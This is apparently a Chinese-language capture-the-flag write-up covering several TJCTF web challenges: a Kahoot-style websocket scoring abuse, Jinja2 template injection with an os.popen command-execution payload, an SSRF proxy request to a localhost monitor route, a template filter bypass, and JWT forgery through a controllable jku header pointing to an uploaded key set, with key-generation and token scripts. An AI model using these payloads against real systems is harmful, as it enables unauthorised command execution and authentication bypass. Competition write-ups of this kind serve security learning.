frog
签到
robots.txt
tjctf{fr0gg3r_1_h4rdly_kn0w_h3r_3e1c574f}
kaboot
/create
路由 创建一个room 然后进去答题
超时直接end
当分数超过1000*题目数量
时获得flag 也就是10000分
答案全写在kahoot.json
中 那么我们只需要写脚本交互websocket即可
其实响应也会返回答案
import json
import websocket
from base64 import b64encode, b64decode
from time import time
from time import sleep
room_id = "a8bcd70c"
user_id = "123456"
# ws_url = f"ws://192.168.100.105:5000/room/{room_id}"
ws_url = f"ws://172.21.146.53:5000/room/{room_id}"
dic = {"name": "swiftie-core", "questions": [{"question": "what is the best taylor swift song?", "answers": ["cruel summer", "daylight (stosp's version)", "all too well (10 minute version)", "all too well (5 minute version)"], "answer": 1}, {"question": "can I ask you a question???", "answers": ["me-hee-hee", "what did you do???", "por supuesto", "did you ever have someone kiss you in a crowded room?"], "answer": 3}, {"question": "what was the last song I cried to?", "answers": ["all too well", "all too well", "all too well", "all too well"], "answer": 1}, {"question": "what is the better version?", "answers": ["both", "taylor's version", "the original", "neither"], "answer": 1}, {"question": "when did I last listen to taylor swift?", "answers": ["last month", "yesterday", "today", "last week"], "answer": 3}, {
"question": "how was the eras tour?", "answers": ["idk I couldn't get tickets", "star-struck", "I slept through it", "a fever dream"], "answer": 3}, {"question": "what is the best taylor swift lyric?", "answers": ["you and me, that's my whole world", "i'm standing at the restaurant", "i'm a mess, but i'm the mess that you wanted", "i'd be a fearless leader"], "answer": 2}, {"question": "why am I crying right now?", "answers": ["I just watched the all too well short film", "get help", "I'm listening to all too well", "idk man"], "answer": 3}, {"question": "when was taylor swift born?", "answers": ["7776", "4321", "1989", "1987"], "answer": 2}, {"question": "what is?", "answers": ["meow meow meow meow", "meow meow meow", "meow meow meow meow meow meow", "meow meow meow meow meow"], "answer": 3}]}
def getAnswer(puzzle):
for i in dic["questions"]:
if(i['question'] == puzzle):
return (i['answer'])
def on_message(ws, message):
decoded_message = json.loads(b64decode(message).decode())
if 'question' in decoded_message:
print(f"Question: {decoded_message['question']}")
for idx, option in enumerate(decoded_message['answers']):
print(f"{idx + 1}. {option}")
answer = getAnswer(decoded_message['question'])
print(decoded_message['question'])
print(answer)
ws.send(b64encode(json.dumps({
'id': user_id,
'send_time': time(),
'answer': answer
}).encode()))
elif 'scores' in decoded_message and not decoded_message.get('end', False):
print(f"Current Score: {decoded_message['scores']}")
if decoded_message.get('end', False):
print(decoded_message['message'])
ws.close()
ws = websocket.WebSocketApp(
ws_url,
on_message=on_message,
)
while True:
ws.run_forever()
然而并不行 题目的难点在
如果想要每次答题加分超过1000 必须send_time - recv_time >=10
但是send_time不能传很大 否则直接返回???
也就是两次执行time()的时间差 就是我们可以操作的send_time的范围 我们打印看看大概是多久
0.0009999275207519531
跑几十次大概能出一次 其余全是0
也就是说在发送的时候可以尝试多加0.00099
但是这没什么用 离10差太多了
而且在实际发送过程中 不说多加多少 正常的发送就是返回??? 还需要减少一点
注意到
第一题的时候会清空分数 其中id可控
也就是说我们可以一直用一个id加分 重置的时候换id
import websocket
import json
from base64 import b64decode, b64encode
uri = 'ws://192.168.100.105:5000/room/1114514'
def solve():
for _ in range(2):
ws = websocket.create_connection(uri)
res = ws.recv()
for i in range(10):
res = ws.recv()
res = json.loads(b64decode(res).decode())
if 'end' in res:
break
ws.send(b64encode(json.dumps({
'id': '1' if i == 0 else '0',
'answer': res['answer'],
'send_time': res['send_time'],
}).encode()))
res = ws.recv()
res = json.loads(b64decode(res).decode())
print(res)
ws.close()
solve()
music-checkout
ssti
给{{}}ban
了
text处用[ ' " 等都会 返回checkout not found
name处也存在ssti 而且没用这种问题
没什么过滤
{%print(lipsum.__globals__['os'].popen('cat f*').read())%}
reader
/
路由提供了一个代理访问
本地访问/monitor
路由即可拿到flag
http://192.168.100.105:5000/?site=http://127.0.0.1:5000/monitor
templater
不知道原题给没给附件 看challenge.yaml没提
可以自定义模板页面 添加键值对 不存在ssti
尝试获取flag
{{flag}}
测一下是过滤的输入还是输出
直接输入flag
可行 那就是过滤的输出{{lipsum}}
注意到输入不存在的键的时候会提示Key lipsum not found!
尝试将flag带出来 {{{{flag}}}}
topplecontainer
有一个上传点 一个预览 一个下载 下载处没有路径穿越
鉴权是通过jwt实现的
使用了get_unverified_header方法 jku可控可以指定我们上传的jwks.json
使用附件提供的私钥 让GPT写个脚本生成jwk
固定住kid
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.backends import default_backend
import json
import base64
def base64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def generate_jwk_from_private_key(private_key_pem):
# 载入私钥
private_key = serialization.load_pem_private_key(
private_key_pem.encode(),
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
numbers = public_key.public_numbers()
jwk = {
"kty": "EC",
"crv": "P-256",
"x": base64url_encode(numbers.x.to_bytes(32, byteorder='big')),
"y": base64url_encode(numbers.y.to_bytes(32, byteorder='big')),
"alg": "ES256",
"use": "sig",
"kid": "8c2088dfb37658e01b35aec916b3b085c3cafd5fbf03bbb2735d3f8e63defd6b"
}
return jwk
def save_jwks(jwks, filename="jwks.json"):
with open(filename, "w") as f:
json.dump({"keys": [jwks]}, f, indent=2)
print(f"JWKS saved to {filename}")
# 提供的私钥 PEM
private_key_pem = """
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIM5xQVeGQQ3NtMPiKvT3+/oVRkANtDLkPBhnraAOCjitoAoGCCqGSM49
AwEHoUQDQgAELFUGjgTG461L86xHFWiGBLMCPP/xFisUvP3XeWDBWTs28aYQAgLX
cFuVQQhhumb+ym8Y3btST0PLtTeACHzGeg==
-----END EC PRIVATE KEY-----
"""
# 生成 JWK 格式的公钥信息
jwk = generate_jwk_from_private_key(private_key_pem)
# 保存到 jwks.json 文件
save_jwks(jwk)
然后生成jwt
import jwt
import requests
with open("private.ec.key", "rb") as f:
private_key = f.read()
headers = {"kid": "8c2088dfb37658e01b35aec916b3b085c3cafd5fbf03bbb2735d3f8e63defd6b",
"jku": "../uploads/07c40c39-8f16-4666-ae3d-1d66551866bc/121eddc1-7cc4-47c8-a535-21f57ae9411e"}
encoded_jwt = jwt.encode({"id": "admin"}, private_key,
algorithm="ES256", headers=headers).decode()
print(encoded_jwt)
带着jwt访问即可